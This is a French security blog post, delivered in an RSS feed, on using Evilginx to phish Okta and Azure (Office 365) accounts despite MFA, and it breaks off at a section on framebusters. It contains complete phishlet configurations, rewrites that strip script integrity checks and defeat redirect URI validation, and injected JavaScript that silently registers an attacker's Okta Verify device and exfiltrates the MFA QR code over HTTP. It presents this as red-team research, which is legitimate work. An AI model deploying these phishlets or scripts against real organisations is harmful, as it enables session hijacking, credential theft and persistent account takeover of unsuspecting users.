<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MFA - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/mfa/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/mfa/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Mon, 25 Aug 2025 07:16:18 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>MFA - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/mfa/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phishing : Evilginx poussé à ses limites</title>
		<link>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:17 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26611</guid>

					<description><![CDATA[<p>Les attaques par phishing sont aussi vieilles que l&#8217;internet. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&#8217;objectif final reste le même : obtenir un premier accès au réseau interne. Habituellement, les...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[


<p style="text-align: justify;">Les attaques par phishing sont <strong>aussi vieilles que l&rsquo;internet</strong>. Cependant, au fil des ans, les techniques et les moyens utilisés pour le phishing changent, mais l&rsquo;objectif final reste le même : obtenir un premier accès au réseau interne.</p>
<p style="text-align: justify;">Habituellement, <strong>les <em>threat actors</em> tentent d&rsquo;envoyer des documents malveillants</strong> tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d&rsquo;Office lié aux macros et la sensibilisation accrue au phishing, <strong>ces types de techniques sont de moins en moins utilisés</strong>.</p>
<p style="text-align: justify;">Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à <strong>récupérer l’identité numérique de l’utilisateur :</strong> son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.</p>
<p style="text-align: justify;">Pour limiter ce type d’attaques, <strong>les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA)</strong>, afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Phishing 101</h2>
<p> </p>
<h3 style="text-align: justify;">IDP, cookies et phishing</h3>
<p style="text-align: justify;">La protection MFA mise en place par les entreprises est <strong>un bon moyen de limiter l&rsquo;impact</strong> d&rsquo;un phishing réussi. En effet, même si l&rsquo;acteur de la menace récupère les informations d&rsquo;identification de l&rsquo;utilisateur, il ne sera pas en mesure d&rsquo;usurper l&rsquo;identité de l&rsquo;utilisateur puisqu&rsquo;il ne pourra pas valider le MFA.</p>
<p style="text-align: justify;">Cependant, aujourd&rsquo;hui, le MFA n&rsquo;est généralement demandé <strong>que lors de la première authentification</strong> : une fois que l&rsquo;utilisateur est authentifié auprès du fournisseur d&rsquo;identité, celui-ci lui fournit une preuve d&rsquo;authentification qu&rsquo;il peut transmettre à n&rsquo;importe quel service. Grâce à cette preuve d&rsquo;authentification, l&rsquo;utilisateur n&rsquo;a pas besoin d&rsquo;une authentification active supplémentaire et n&rsquo;a donc pas besoin de revalider le MFA tant que ce ticket est valide.</p>
<p style="text-align: justify;">Dans les IDP web les plus courants comme Azure, Google ou Okta, <strong>ce ticket est représenté par les cookies</strong>. Lorsque l&rsquo;utilisateur se connecte à l&rsquo;IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l&rsquo;utilisateur peut se connecter à n&rsquo;importe quel autre service web compatible SSO sans authentification.</p>
<p style="text-align: center;"> </p>
<figure id="attachment_26612" aria-describedby="caption-attachment-26612" style="width: 973px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-26612" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png" alt="Schéma décrivant le maintient de la session par les cookies" width="973" height="781" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-1.png 1420w" sizes="(max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26612" class="wp-caption-text"><em>Session maintenue par des cookies</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">En résumé,<strong> les cookies IDP de l&rsquo;utilisateur représentent l&rsquo;identité numérique de l&rsquo;utilisateur</strong>. Par conséquent, dans une attaque de phishing dont l&rsquo;objectif principal est d&rsquo;usurper cette identité numérique de l&rsquo;utilisateur, l&rsquo;attaquant tentera de voler les cookies une fois que l&rsquo;utilisateur aura réussi son authentification.</p>
<p> </p>
<h3 style="text-align: justify;">Evilginx</h3>
<p> </p>
<h4 style="text-align: justify;">Evil proxy</h4>
<p style="text-align: justify;">Pour voler les cookies, l&rsquo;attaquant doit être placé dans une position <em>man-in-the-middle</em> au cours du processus d&rsquo;authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, <strong>l&rsquo;utilisateur aura conscience qu&rsquo;il se passe quelque chose d&rsquo;anormal</strong>.</p>
<p style="text-align: justify;">C&rsquo;est là qu&rsquo;<strong>Evilginx entre en jeu</strong>. Au lieu d&rsquo;effectuer une simple attaque de type « <em>man-in-the-middle</em> » en relayant le paquet vers l&rsquo;IDP, Evilginx crée un proxy malveillant :<strong> l&rsquo;utilisateur ne s&rsquo;authentifie pas sur accounts.google.com, mais il s&rsquo;authentifie sur login.evilginx.com</strong> :</p>
<figure id="attachment_26614" aria-describedby="caption-attachment-26614" style="width: 973px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26614" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png" alt="Schéma du fonctionnement d’Evilgproxy" width="973" height="466" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2.png 947w" sizes="(max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26614" class="wp-caption-text"><em>Fonctionnement d’Evilgproxy</em></figcaption></figure>
<p>Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.</p>
<p> </p>
<h4 style="text-align: justify;">Phislets 101</h4>
<p style="text-align: justify;">Par exemple, lors de l&rsquo;authentification à Azure, les domaines suivants sont utilisés :</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p style="text-align: justify;">Le problème est que pendant le processus d&rsquo;authentification, l&rsquo;IDP redirige l&rsquo;utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d&rsquo;un processus d&rsquo;authentification SAML classique, l&rsquo;IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l&rsquo;utilisateur a commencé son processus d&rsquo;authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d&rsquo;authentification, ce qui rompt la position de l&rsquo;homme du milieu.</p>
<p style="text-align: justify;">Evilginx <strong>utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas</strong>. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l&rsquo;IDP renvoie une réponse telle que :</p>
<pre style="text-align: justify;">&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec le phishlet, <strong>Evilginx saura que le domaine login.microsoftonline.com doit être réécrit</strong> et renverra à la cible la page modifiée suivante :</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec un tel modèle de correspondance et de remplacement,<strong> Evilginx est capable de maintenir l&rsquo;utilisateur dans l&rsquo;application malveillante</strong> même si l&rsquo;IDP tente de rediriger l&rsquo;utilisateur vers une page spécifique.</p>
<p> </p>
<h4 style="text-align: justify;">Limites du remplacement automatique</h4>
<p style="text-align: justify;">Le remplacement automatique des phishlets Evilginx a ses limites. En effet, <strong>il arrive que le serveur n’indique pas directement le domaine en dur dans la page,</strong> mais qu&rsquo;il le construise par le biais d&rsquo;un script JS.</p>
<p style="text-align: justify;">Dans ce cas, Evilginx n&rsquo;est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.</p>
<h5> </h5>
<h5>CORS</h5>
<p style="text-align: justify;">Dans Okta, le flux d&rsquo;authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script <strong>construit dynamiquement l&rsquo;URL de redirection</strong> : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d&rsquo;atteindre la page spécifique en utilisant le domaine okta.com,<strong> il échoue en raison de la protection CORS</strong> (tentative d&rsquo;atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :</p>
<figure id="attachment_26627" aria-describedby="caption-attachment-26627" style="width: 1009px" class="wp-caption alignnone"><img decoding="async" class=" wp-image-26627" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png" alt="Image montrant l'erreur provoquée par les CORS d'okta" width="1009" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3.png 849w" sizes="(max-width: 1009px) 100vw, 1009px" /><figcaption id="caption-attachment-26627" class="wp-caption-text"><em>Les CORS Okta</em></figcaption></figure>
<p style="text-align: justify;">En déboguant l&rsquo;application, il est possible de trouver l&rsquo;endroit où la construction de l&rsquo;URL est effectuée et de la modifier en remplaçant le motif correspondant :</p>
<pre style="text-align: justify;"><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p style="text-align: justify;">Avec cette simple indication, Evilginx remplacera tout motif correspondant, <strong>évitant ainsi la redirection de l&rsquo;utilisateur en dehors de l&rsquo;application de phishing.</strong></p>
<h5> </h5>
<h5 style="text-align: justify;">Intégrité du JS</h5>
<p style="text-align: justify;">Lorsque l&rsquo;on modifie le fichier JS ou tout autre fichier via Evilginx,<strong> cela peut causer des problèmes en raison du hash d’intégrité du script</strong> :</p>
<pre style="text-align: justify;">&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p style="text-align: justify;">En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l&rsquo;application refusera de le charger.</p>
<figure id="attachment_26684" aria-describedby="caption-attachment-26684" style="width: 1165px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png" alt="Image montrant l'erreur liée au hash d’intégrité" width="1165" height="128" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash.png 1737w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /><figcaption id="caption-attachment-26684" class="wp-caption-text"><em>Erreur liée au hash d’intégrité</em></figcaption></figure>
<p style="text-align: justify;">Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d&rsquo;intégrité :</p>
<pre style="text-align: justify;">Replace: integrity="[^"]*"<br />By: integrity=''</pre>
<h5> </h5>
<h5 style="text-align: justify;">Validation de l&rsquo;URI de redirection</h5>
<p style="text-align: justify;">Le dernier point est <strong>la validation de l&rsquo;URI de redirection</strong>. En effet, lors de l&rsquo;authentification OIDC, le client sera redirigé vers une page dont l&rsquo;URL est du type :</p>
<pre style="text-align: justify;">/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p style="text-align: justify;">Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.</p>
<p style="text-align: justify;">Cela déclenchera le processus de validation de l&rsquo;uri de redirection. Le domaine evilginx.com n&rsquo;ayant pas été configuré du côté d&rsquo;Okta comme un domaine de redirection valide,<strong> Okta affichera l&rsquo;erreur suivante :</strong></p>
<figure id="attachment_26631" aria-describedby="caption-attachment-26631" style="width: 250px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26631" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png" alt="Image montrant l'erreur  400 - Bad Request dans Okta" width="250" height="273" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5.png 269w" sizes="auto, (max-width: 250px) 100vw, 250px" /><figcaption id="caption-attachment-26631" class="wp-caption-text"><em>Erreur dans Okta</em></figcaption></figure>
<p style="text-align: justify;">L&rsquo;URI de redirection est <strong>construit dynamiquement par Okta en prenant le domaine de connexion </strong>et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l&rsquo;URL et en s&rsquo;assurant que l&rsquo;URI de rappel est celui attendu par Okta :</p>
<p style="text-align: justify;">En utilisant Evilginx, il est<strong> possible d&rsquo;utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri </strong>à la bonne URI :</p>
<pre style="text-align: justify;"><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")</pre>
<h4> </h4>
<h4 style="text-align: justify;">Phishlets basiques</h4>
<h5 style="text-align: justify;">Okta</h5>
<pre style="text-align: justify;">min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br /><br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Automatiser les actions critiques</h2>
<p> </p>
<h3 style="text-align: justify;">Ajouter un nouvel appareil au MFA</h3>
<p style="text-align: justify;">Une fois qu&rsquo;un attaquant est en mesure de récupérer un accès initial à la session de l&rsquo;utilisateur, il doit mettre en place une persistance de l&rsquo;accès car les cookies ont une durée de validité limitée.</p>
<p style="text-align: justify;">Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l&rsquo;utilisateur.</p>
<p style="text-align: justify;">Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi,<strong> tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant</strong>.</p>
<p style="text-align: justify;">En revanche, sur certaines plateformes d’identification comme <strong>Okta, l’enregistrement d’un MFA exige une validation MFA préalable</strong>. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.</p>
<p style="text-align: justify;">Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :</p>
<ol style="text-align: justify;">
<li>L’utilisateur s’authentifie une première fois pour accéder à sa session</li>
<li>Evilginx vole les cookies de session</li>
<li>Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan</li>
<li>L’utilisateur revalide son MFA, pensant que la première tentative a échoué</li>
<li>Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil</li>
</ol>
<p style="text-align: justify;">Toutes ces actions <strong>peuvent être automatisées via Evilginx en modifiant les scripts JS.</strong></p>
<p style="text-align: justify;">Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p style="text-align: justify;">Ce script <strong>sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback</strong>. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans <strong>une boucle de redirection infinie à la fin de son authentification</strong>.</p>
<p style="text-align: justify;">Ensuite,<strong> un nouveau code JS est ajouté à la page /help/login</strong>. Ce script permet d’énumérer les technologies MFA disponibles et configurées :</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p style="text-align: justify;">Le script <strong>sélectionne la méthode d’authentification “Okta Verify” </strong>et redirige l’utilisateur vers la page de configuration.</p>
<p style="text-align: justify;">Sur cette page de configuration, un nouveau script JS est injecté. <strong>Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA</strong> :</p>
<pre style="text-align: justify;">- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br /><br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p style="text-align: justify;">Une fois que l’utilisateur a validé l’authentification <strong>MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.</strong></p>
<p style="text-align: justify;">L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Aller plus loin</h2>
<p> </p>
<h3 style="text-align: justify;">Okta avec l’authentification Azure</h3>
<p style="text-align: justify;">Certaines entreprises associent deux fournisseurs d&rsquo;identité (IdP) :<strong> Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.</strong></p>
<p style="text-align: justify;">Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.</p>
<p style="text-align: justify;">Pour ce faire, les deux phislets précédents doivent<strong> être fusionnés afin de capturer les deux processus d’authentification.</strong> L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.</p>
<p style="text-align: justify;">Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :</p>
<pre style="text-align: justify;">&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p style="text-align: justify;">Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer</p>
<p style="text-align: justify;">De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.</p>
<p style="text-align: justify;">En résumé<em>, </em><strong>dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.</strong></p>
<h3> </h3>
<h3 style="text-align: justify;">Frame buster</h3>
<p style="text-align: justify;">De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.</p>
<p style="text-align: justify;">L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.</p>
<p style="text-align: justify;">Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:</p>
<figure id="attachment_26689" aria-describedby="caption-attachment-26689" style="width: 969px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26689" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png" alt="Image montrant la technique du de &quot;Browser-in-browser&quot;, avec l'affichage d'une fausse pop up qui montre une url de confiance" width="969" height="495" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser.png 680w" sizes="auto, (max-width: 969px) 100vw, 969px" /><figcaption id="caption-attachment-26689" class="wp-caption-text"><em>Exemple de « Browser-in-browser »</em></figcaption></figure>
<p style="text-align: justify;">Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées <em>framebusters</em>.</p>
<p style="text-align: justify;">Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.</p>
<h4> </h4>
<h4 style="text-align: justify;">Self == top</h4>
